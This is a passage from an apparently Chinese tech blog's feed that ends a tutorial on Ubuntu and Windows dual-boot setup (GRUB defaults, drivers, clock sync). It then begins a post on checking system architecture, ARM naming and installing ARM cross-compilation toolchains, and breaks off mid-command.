src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F31.png" alt="U盘重装系统以及Ubuntu与Windows双系统31.png"></p><p>点击继续，就会按照我们设定好的分区来格式化硬盘，然后继续安装 Ubuntu 系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F25.png" alt="U盘重装系统以及Ubuntu与Windows双系统25.png"></p><blockquote><p>如果还是不会分区，可以参考这些文章：</p><ul><li><a href="https://www.cnblogs.com/xiaofanke/p/10610684.html">ubuntu安装时系统分区设置 - 萧凡客 - 博客园</a></li><li><a href="https://blog.csdn.net/NeoZng/article/details/122779035">Ubuntu&#x2F;Windows双系统安装巨详细——全面解决各种问题（疑难杂症），有手就行_安装ubuntu要求关闭bitlocker-CSDN博客</a></li></ul></blockquote><p>自动更新 Ubuntu 驱动：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> ubuntu-drivers-common<span class="token function">sudo</span> ubuntu-drivers autoinstall<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><blockquote><p>关于 Ubuntu 的环境搭建参考本站《<a href="226aff2b.html">Ubuntu22.04虚拟机环境搭建</a>》一文</p></blockquote><p>如果遇到 Ubuntu 关机、关机后重启时间很长，并且屏幕上有下划线状的光标一直在闪烁，解决办法如下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">vim</span> /etc/systemd/system.conf<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>修改以下位置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#DefaultTimeoutStartSec=90s</span><span class="token comment">#DefaultTimeoutStopSec=90s</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>去掉注释，并将时间改为 3s，即：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">DefaultTimeoutStartSec</span><span class="token operator">=</span>3s<span class="token assign-left variable">DefaultTimeoutStopSec</span><span class="token operator">=</span>3s<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>使修改生效：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl daemon-reload<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>更多详情可以参考该文章：<a href="https://www.cnblogs.com/xiaotong-sun/p/16138855.html">解决Ubuntu(20.04)开机、关机、重启慢，有光标闪烁问题 - Xiao·Tong - 博客园</a></p></blockquote><p>如果使用 Ubuntu 时发现麦克风无法开启，例如显示“未检测到可用麦克风，请插入设备后重试”，在 <code>设置 -&gt; 声音 -&gt; 输入 -&gt; 输入设备</code> 处指定麦克风设备即可：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F36.png" alt="U盘重装系统以及Ubuntu与Windows双系统36.png"></p><hr><h1 id="安装-Ubuntu-Windows-双系统"><a href="#安装-Ubuntu-Windows-双系统" class="headerlink" title="安装 Ubuntu + Windows 双系统"></a>安装 Ubuntu + Windows 双系统</h1><blockquote><p>安装双系统其实就是把两个系统都安装到硬盘里啦，然后开机的时候选择进入哪一个系统，从而实现两个系统切换使用</p></blockquote><p>可能有人会问为什么不直接虚拟机呢，其实原因很简单，首先虚拟机的硬件是虚拟出来的，没有物理机的硬件这么强大，性能会比物理机差上一大截，另外有些库或者软件是依赖于硬件的，例如 CUDA 依赖于 Nvidia 显卡，在虚拟机里安装 CUDA 会十分头疼，因此不如直接 Windows + Linux 双系统</p><p>不过相比虚拟机，双系统也失去了便捷性，因为只能同时运行一个系统，需要用另一个系统时就得重启电脑（在 Linux 里是可以读取 Windows 的硬盘的，因此文件共享这一块无需担心），而且没有虚拟机的快照机制，对 Linux 新手不太友好</p><blockquote><p><strong>因此，安装双系统是为了更强的性能和特定的使用场景，没有这一块的需求的话，可以直接使用虚拟机，更方便也更适合新手</strong></p></blockquote><hr><h3 id="安装双系统的注意点"><a href="#安装双系统的注意点" class="headerlink" title="安装双系统的注意点"></a>安装双系统的注意点</h3><p><em>注意：以下教程是在已有 Windows 系统的基础上，安装 Ubuntu 系统作为第二系统，并且是以 UEFI + GPT 作为启动方式（目前的主流，现在的电脑基本都是）</em></p><p>首先确保硬盘关闭了 BitLocker ！！！参考：<a href="https://www.sysgeek.cn/disable-bitlocker-windows/">4 种简单方法：如何在 Windows 11 中关闭 BitLocker 加密 - 系统极客</a></p><p><strong>另外，安装双系统，启动方式必须保持一致（要么都是 UEFI，要么都是 Legacy），也就是磁盘类型要一致，如果安装 Windows 的硬盘是 GPT 类型（也就是 UEFI 启动），那么安装 Ubuntu 的那块硬盘也必须是 GPT 类型</strong>，关于 UEFI 和 Legacy 在《<a href="194d06e.html#PE-%E7%B3%BB%E7%BB%9F">PE 系统</a>》一节有讲，不懂可以自行查看</p><blockquote><p>当然，如果你安装 Windows 的硬盘是 MBR 类型（也就是 Legacy 启动），那么我建议你先以 UEFI 启动方式重装你的 Windows，然后再来装 Ubuntu 双系统。。。</p><p>因为现在主流就是 UEFI 启动，Legacy 太老了，将磁盘类型统一为 GPT，然后 UEFI 引导双系统，还方便一些，不香吗</p><p><em>如果确实是 Legacy + MBR 启动，又不想重装 Windows，那可以参考：<a href="https://www.cnblogs.com/masbay/p/10745170.html">windows10安装ubuntu双系统教程（绝对史上最详细） - 不妨不妨，来日方长 - 博客园</a>，本文就不再适用你了，不需要往下看了</em></p></blockquote><p>准备好安装 Ubuntu 系统的空间，<strong>有条件的朋友建议直接单独购买一个固态硬盘，专门用来安装 Ubuntu 系统（一般 256GB 或者 512GB 的就够用了，需求小的甚至 128GB 也够了，如果电脑硬盘位不够，外接硬盘盒即可，选择 type-C 线插到电脑的雷电接口，速度够用了；U 盘速度慢，容易发热掉速，所以不建议安装 Ubuntu 到 U 盘）</strong></p><p>如果没有条件单独整一块固态硬盘也没关系，打开磁盘管理，压缩一块空间出来：（<em>一般选择你电脑的最后一块硬盘来压缩，例如：C、D 就选 D 盘，C、D、E 就选 E 盘，以此类推，U 盘、移动硬盘等不算在内，如果有可以先拔了再看</em>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F28.png" alt="U盘重装系统以及Ubuntu与Windows双系统28.png"></p><p>压缩出来的空间就是分配给 Ubuntu 系统的空间，我这里压缩出 200GB，<strong>状态是未分配，不用管，这里如果你把压缩出来的未分配空间分配成新的盘，有可能在 Ubuntu 里识别不到这块硬盘</strong></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F29.png" alt="U盘重装系统以及Ubuntu与Windows双系统29.png"></p><p>然后我们就可以回到《<a href="194d06e.html#%E5%88%B6%E4%BD%9C-Linux-%E5%90%AF%E5%8A%A8%E7%9B%98%E5%B9%B6%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F">制作 Linux 启动盘并重装系统</a>》这里，制作 Ubuntu 的启动 U 盘，安装系统了</p><blockquote><p><mark>注意：如果是想安装双系统，请务必选下面那个！！！小心误删另一个系统就凉凉了</mark></p></blockquote><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F37.png" alt="U盘重装系统以及Ubuntu与Windows双系统37.png"></p><p>要注意的是：<em>在安装 Ubuntu 系统时，一定要选择安装在引导分区（<code>/boot/efi</code> 或者 <code>/boot</code>）</em>，<strong>并且要看清楚了是 Ubuntu 这块硬盘的 EFI（可以通过硬盘大小来识别，比如我刚刚压缩了 200GB，那么这个 EFI 分区就是在 200GB 的硬盘上），因为已经存在 Windows 系统了，不要安装到 Windows 系统的 EFI 分区了，不然就凉凉了（只能进 PE 系统尝试修复引导）</strong>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F30.png" alt="U盘重装系统以及Ubuntu与Windows双系统30.png"></p><p>其他步骤与单独安装 Ubuntu 时一模一样，装好之后，会提示重启电脑，按照屏幕提示拔掉 U 盘</p><p>正常情况下重启后不再是直接进入 Windows 系统，而是会进入到这样的界面：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F32.png" alt="U盘重装系统以及Ubuntu与Windows双系统32.png"></p><p>这是 grub 引导界面，不要担心，出现这个界面才说明成功了（一般装了 Windows + Ubuntu 双系统后，是由 Ubuntu 的 grub 引导启动的）</p><p>这里有四项：选择第一个会进入 Ubuntu 系统，选择第三个会进入 Windows 系统，选择第四个会进入 BIOS，第二个没用过也不重要</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F33.png" alt="U盘重装系统以及Ubuntu与Windows双系统33.png"></p><p>关于 Ubuntu 的环境搭建参考本站《<a href="226aff2b.html">Ubuntu22.04虚拟机环境搭建</a>》一文</p><blockquote><p>注意：</p><p>如果你的 Ubuntu 是安装在移动硬盘里的，但是有时候没有随身携带安装 Ubuntu 的移动硬盘，电脑开机如果进入 grub 引导界面，并且没有显示上面图中的 4 个选项，而是显示 grub 命令行（说明 Ubuntu 引导被安装在 Windows 系统所在硬盘的引导区域了，不用担心，这通常不会产生太大影响）</p><p>这时候你只需要在 grub 命令行输入 <code>&quot;exit&quot;</code> 并回车就可以退出 grub 界面，启动 Windows 系统了（也就是单系统独立使用）</p></blockquote><hr><h3 id="自动更新-Ubuntu-驱动"><a href="#自动更新-Ubuntu-驱动" class="headerlink" title="自动更新 Ubuntu 驱动"></a>自动更新 Ubuntu 驱动</h3><p>刚装完系统可能驱动不全，使用如下命令自动更新 Ubuntu 驱动（小白建议先参考本站《<a href="226aff2b.html">Ubuntu22.04虚拟机环境搭建</a>》一文的《<a href="226aff2b.html#%E6%9B%B4%E6%8D%A2%E9%95%9C%E5%83%8F%E6%BA%90">更换镜像源</a>》部分进行换源，否则下载很慢）：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> ubuntu-drivers-common<span class="token function">sudo</span> ubuntu-drivers autoinstall<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><hr><h3 id="修改-grub-默认引导选项"><a href="#修改-grub-默认引导选项" class="headerlink" title="修改 grub 默认引导选项"></a>修改 grub 默认引导选项</h3><p>但是会发现 grub 每次默认都是选的 Ubuntu，但平时可能用 Windows 比较多，每次都选岂不是很麻烦</p><p>可以先记好 grub 中这四项的顺序，从上往下依次是 0、1、2、3：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F33.png" alt="U盘重装系统以及Ubuntu与Windows双系统33.png"></p><p>进入 Ubuntu 系统，然后打开终端输入以下命令：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gedit<span class="token function">sudo</span> gedit /etc/default/grub<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>修改这里的默认启动选项 <code>GRUB_DEFAULT</code>，比如按顺序 Windows 是 2，那么这里就改成 2；等待时间 10 是指 grub 等待 10 秒后如果不做选择就自动进入到默认的那个系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F34.png" alt="U盘重装系统以及Ubuntu与Windows双系统34.png"></p><p>保存退出，以后 grub 默认都是选 Windows 了</p><hr><h3 id="解决双系统时钟不一致的问题"><a href="#解决双系统时钟不一致的问题" class="headerlink" title="解决双系统时钟不一致的问题"></a>解决双系统时钟不一致的问题</h3><p><strong>在使用中可能会发现，Windows 里的时间和 Ubuntu 的时间不一样</strong>，这是 Windows 和 Ubuntu 对时钟的处理不一致导致的，解决方法还是在 Ubuntu 终端输入：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> ntpdate<span class="token function">sudo</span> ntpdate time.windows.com<span class="token function">sudo</span> hwclock <span class="token parameter variable">--localtime</span> <span class="token parameter variable">--systohc</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><blockquote><p>如果不明白的话，这篇文章讲的很详细了：<a href="https://blog.csdn.net/X_T_S/article/details/110142773">解决Ubuntu(20.04)和Windows10双系统时间不同步问题_universal time 不对-CSDN博客</a></p></blockquote><hr><h3 id="解决-Ubuntu-关机等待时间久的问题"><a href="#解决-Ubuntu-关机等待时间久的问题" class="headerlink" title="解决 Ubuntu 关机等待时间久的问题"></a>解决 Ubuntu 关机等待时间久的问题</h3><p>如果遇到 Ubuntu 关机、关机后重启时间很长，并且屏幕上有下划线状的光标一直在闪烁，解决办法如下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">vim</span> /etc/systemd/system.conf<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>修改以下位置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#DefaultTimeoutStartSec=90s</span><span class="token comment">#DefaultTimeoutStopSec=90s</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>去掉注释，并将时间改为 3s，即：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">DefaultTimeoutStartSec</span><span class="token operator">=</span>3s<span class="token assign-left variable">DefaultTimeoutStopSec</span><span class="token operator">=</span>3s<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>使修改生效：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl daemon-reload<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>更多详情可以参考该文章：<a href="https://www.cnblogs.com/xiaotong-sun/p/16138855.html">解决Ubuntu(20.04)开机、关机、重启慢，有光标闪烁问题 - Xiao·Tong - 博客园</a></p><hr><h3 id="解决麦克风无法使用的问题"><a href="#解决麦克风无法使用的问题" class="headerlink" title="解决麦克风无法使用的问题"></a>解决麦克风无法使用的问题</h3><p>如果使用 Ubuntu 时发现麦克风无法开启，例如显示“未检测到可用麦克风，请插入设备后重试”，在 <code>设置 -&gt; 声音 -&gt; 输入 -&gt; 输入设备</code> 处指定麦克风设备即可：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/U%E7%9B%98%E9%87%8D%E8%A3%85%E7%B3%BB%E7%BB%9F%E4%BB%A5%E5%8F%8AUbuntu%E4%B8%8EWindows%E5%8F%8C%E7%B3%BB%E7%BB%9F36.png" alt="U盘重装系统以及Ubuntu与Windows双系统36.png"></p><hr><p>至此，享受你的双系统吧</p>]]></content>
    
    
    <summary type="html">由于近期跑实验需要 Linux 环境，在服务器上配环境改代码又很不方便，毕竟不止我一个人在用，虚拟机配置 CUDA 始终没有好的办法解决，因此只能考虑双系统了，顺便记录一下所有重装系统相关的操作吧，分享给小白选手</summary>
    
    
    
    <category term="日常" scheme="https://www.uf4te.cn/categories/%E6%97%A5%E5%B8%B8/"/>
    
    
    <category term="日常" scheme="https://www.uf4te.cn/tags/%E6%97%A5%E5%B8%B8/"/>
    
  </entry>
  
  <entry>
    <title>多架构与交叉编译</title>
    <link href="https://www.uf4te.cn/posts/bb411a4c.html"/>
    <id>https://www.uf4te.cn/posts/bb411a4c.html</id>
    <published>2024-06-16T14:48:33.000Z</published>
    <updated>2025-10-31T18:20:45.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="交叉编译"><a href="#交叉编译" class="headerlink" title="交叉编译"></a>交叉编译</h1><blockquote><p>我们日常使用的系统基本都是基于 x86 架构的，但是在嵌入式设备和 IoT 漏洞分析中，通常需要接触其他的架构，如：ARM、MIPS 等，而 x86 架构下编译的二进制程序是无法在 ARM、MIPS 架构下运行的</p><p><strong>如果我们想要在自己的 x86 架构电脑上编译二进制程序，然后在嵌入式设备上运行，就需要配置交叉编译环境</strong>，即：在 x86 架构的系统上编译 ARM、MIPS 等架构的二进制程序</p></blockquote><h2 id="查看系统架构"><a href="#查看系统架构" class="headerlink" title="查看系统架构"></a>查看系统架构</h2><blockquote><p>学习多架构，首先当然需要了解一下自己的机器是什么架构</p></blockquote><ul><li>查看内核版本</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 三选一即可</span><span class="token function">cat</span> /proc/version<span class="token function">uname</span> <span class="token parameter variable">-a</span><span class="token function">uname</span> <span class="token parameter variable">-r</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%913.png" alt="多架构与交叉编译3.png"></p><ul><li>查看 Linux 版本信息</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 二选一即可</span>lsb_release <span class="token parameter variable">-a</span><span class="token function">cat</span> /etc/issue<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%914.png" alt="多架构与交叉编译4.png"></p><ul><li>查看系统位数</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 二选一即可</span>getconf LONG_BIT<span class="token function">file</span> /bin/ls<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%915.png" alt="多架构与交叉编译5.png"></p><ul><li>查看系统架构</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 三选一即可</span>archdpkg --print-architecture<span class="token function">file</span> /lib/systemd/systemd<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%916.png" alt="多架构与交叉编译6.png"></p><hr><h2 id="ARM-架构"><a href="#ARM-架构" class="headerlink" title="ARM 架构"></a>ARM 架构</h2><blockquote><p>ARM 架构在移动设备（如：智能手机、平板电脑等）和嵌入式系统中非常常见，而 x86 架构主要用于桌面和服务器领域</p></blockquote><h3 id="各种-ARM-架构名称的区别"><a href="#各种-ARM-架构名称的区别" class="headerlink" title="各种 ARM 架构名称的区别"></a>各种 ARM 架构名称的区别</h3><blockquote><p>如果刚开始接触 ARM 架构，大概会被它的各种名称弄混吧，例如：ARM、ARM64、AArch32、AArch64、ARMv7、ARMv8 等等</p><p>就像 x86 架构的 x86、x86_64、i386、amd64 等等，其实有些名称是同一个东西，只是人们的使用习惯问题</p><p>参考文章：<a href="https://linux.cn/article-16224-1.html">技术|arm vs AArch64 vs amd64 vs x86_64 vs x86：有什么区别？</a></p></blockquote><p>官方认定的 32 位和 64 位 ARM 架构的名称分别是 <code>AArch32</code> 和 <code>AArch64</code>（这里的 <code>AArch</code> 其实就是 ARM Architecture 的缩写）</p><p>实际符合 ARM 的 CPU ISA 的指令规范被命名为 <code>ARMvX</code>（其中 <code>X</code> 是规范版本的代表数字），目前已经有九个主要的规范版本：</p><ul><li><code>ARMv1</code> 到 <code>ARMv7</code> 是适用于 32 位 ARM CPU 的规范 </li><li><code>ARMv8</code> 和 <code>ARMv9</code> 是适用于 64 位 ARM CPU 的规范</li></ul><p><strong>通常来说，在 Linux 中 <code>arm</code> 指代 32 位，而 <code>aarch64</code> 指代 64 位</strong></p><blockquote><p>你可能会觉得困惑，为什么在 <code>AArch64</code> 正式被 ARM 认定为 64 位 ARM 架构后，有些人仍然称其为 <code>arm64</code></p><p>原因主要有两点：</p><ol><li><code>arm64</code> 这个名称在 ARM 决定采用 <code>AArch64</code> 之前就已经广为人知了，甚至 ARM 的一些官方文档也将 64 位的 ARM 架构称为 <code>arm64</code>  </li><li>Linus Torvalds 对 <code>AArch64</code> 这个名称表示不满，因此 Linux 的代码库主要将 <code>AArch64</code> 称为 <code>arm64</code>，然而，当你在系统中运行 <code>uname -m</code> 时，输出的仍然是 <code>aarch64</code></li></ol><p>因此，对于 32 位 ARM CPU，你应该寻找 <code>AArch32</code> 这个字符串，但有时也可能是 <code>arm</code> 或 <code>armv7</code></p><p>类似的，对于 64 位 ARM CPU，你应该找 <code>AArch64</code> 这个字符串，但有时也可能会是 <code>arm64</code>、<code>ARMv8</code> 或 <code>ARMv9</code></p></blockquote><hr><h3 id="交叉编译环境搭建"><a href="#交叉编译环境搭建" class="headerlink" title="交叉编译环境搭建"></a>交叉编译环境搭建</h3><blockquote><p>注意：</p><ul><li><code>arm-linux-gnueabihf-gcc</code> 是 32 位的 ARM 编译器  </li><li><code>​aarch64-linux-gnu-gcc</code> 是 64 位的 ARM 编译器</li></ul></blockquote><p><em>这里以 32 位的 ARM 编译器为例</em>，<mark>64 位的 ARM 编译器将 <code>arm</code> 改为 <code>arrch64</code> 即可（同时要注意 AArch64 不再是 <code>gnueabihf</code> 而是 <code>gnu</code>）</mark></p><p>由于我本机是 64 位的 x86 架构 Kali Linux，首先需要安装 32 位库：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> dpkg --add-architecture i386<span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libncurses5-dev lib32z1<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> libc6:i386 libstdc++6:i386<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><ul><li><code>apt</code> 安装</li></ul><p>这种安装方式的优点是简单，但<strong>缺点是受版本的限制，如果需要编译特定的版本，则建议手动编译安装</strong></p><p>搜索合适的版本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 这里主要搜索 arm 架构，可以按照需要修改</span><span class="token function">apt-cache</span> search arm-linux <span class="token operator">|</span> <span class="token function">grep</span> <span class="token parameter variable">-E</span> <span class="token string">'gcc|g\+\+'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%911.png" alt="多架构与交叉编译1.png"></p><p>图中可以看到主要有 <code>gnueabi</code> 和 <code>gnueabihf</code> 两个版本，它们的区别在于浮点运算的性能：</p><ul><li><code>gnueabihf</code>：使用硬浮点 ABI，要求目标设备具备硬件浮点单元，能够提高浮点运算的性能  </li><li><code>gnueabi</code>：使用软浮点 ABI，不要求目标设备具备硬件浮点单元，通过软件模拟浮点操作，性能较低</li></ul><blockquote><p>其他关于 <code>abi</code> 与 <code>eabi</code>、<code>gnueabi</code> 与 <code>gnueabihf</code> 的详细区别见：<a href="https://www.cnblogs.com/arnoldlu/p/14243491.html">ARM工具链选择参考 - ArnoldLu - 博客园</a></p></blockquote><p>安装 <code>arm-linux-gcc</code> 和 <code>arm-linux-g++</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 也可以指定其他版本，参照上图，这里演示默认安装</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gcc-arm-linux-gnueabihf<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> g++-arm-linux-gnueabihf<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>测试安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">arm-linux-gnueabihf-gcc <span class="token parameter variable">-v</span>arm-linux-gnueabihf-g++ <span class="token parameter variable">-v</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%912.png" alt="多架构与交叉编译2.png"></p><p>卸载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> remove gcc-arm-linux-gnueabihf<span class="token function">sudo</span> <span class="token function">apt</span> remove g++-arm-linux-gnueabihf<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>手动编译安装</li></ul><p>因为我本机是 x86 架构，通过编译安装就需要用到交叉编译器</p><p>交叉编译器有很多，这里以 Linaro 出品的交叉编译器为例（这只是支持交叉编译的 GCC，能用就行，至于哪一家的无所谓）</p><p>首先下载 Linaro <code>arm-linux-gnueabihf</code> 架构的 GCC：<a href="https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/arm-linux-gnueabihf/">Linaro GCC v7.5</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%917.png" alt="多架构与交叉编译7.png"></p><p>这里的位数根据本机来确定，我这里是 x86_64 的 Kali Linux，因此选择下面那个</p><p>其他版本的 Linaro GCC 下载：<a href="https://releases.linaro.org/components/toolchain/binaries/">Linaro Releases</a>（目前截止到 2019 年 GCC v7.5）<br>新版本的 Linaro GCC 下载：<a href="https://snapshots.linaro.org/gnu-toolchain/?_gl=1*yq8hym*_ga*MTA4MzIwNDU0My4xNzE4NjA3NDE3*_ga_E12E6FXFVK*MTcxODYwNzQxNi4xLjEuMTcxODYwODY3NS4wLjAuMA..">Linaro Snapshots</a>，官网链接：<a href="https://www.linaro.org/downloads/">Downloads | Linaro</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%A4%9A%E6%9E%B6%E6%9E%84%E4%B8%8E%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%9110.png" alt="多架构与交叉编译10.png"></p><blockquote><p>注意：</p><p>这个 <strong>Linaro GCC 的版本不是越新越好</strong>，不同的开发板的根文件系统的版本是不同的，高版本的编译器编译的程序在低版本的根文件系统中不能运行</p><p>如果出现不能运行的情况，要么降低交叉编译器的版本，要么升级开发板的根文件系统</p></blockquote><p>创建一个文件夹用于存放 ARM 架构的交叉编译工具：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://releases.linaro.org/components/toolchain/binaries/latest-7/arm-linux-gnueabihf/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf.tar.xz<span class="token function">sudo</span> <span class="token function">tar</span> <span class="token parameter variable">-vxf</span> gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf.tar.xz<span class="token function">sudo</span> <span class="token function">mkdir</span> /usr/local/arm<span class="token function">sudo</span> <span class="token function">mv</span> gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf /usr/local/arm<span aria-hidden="true" 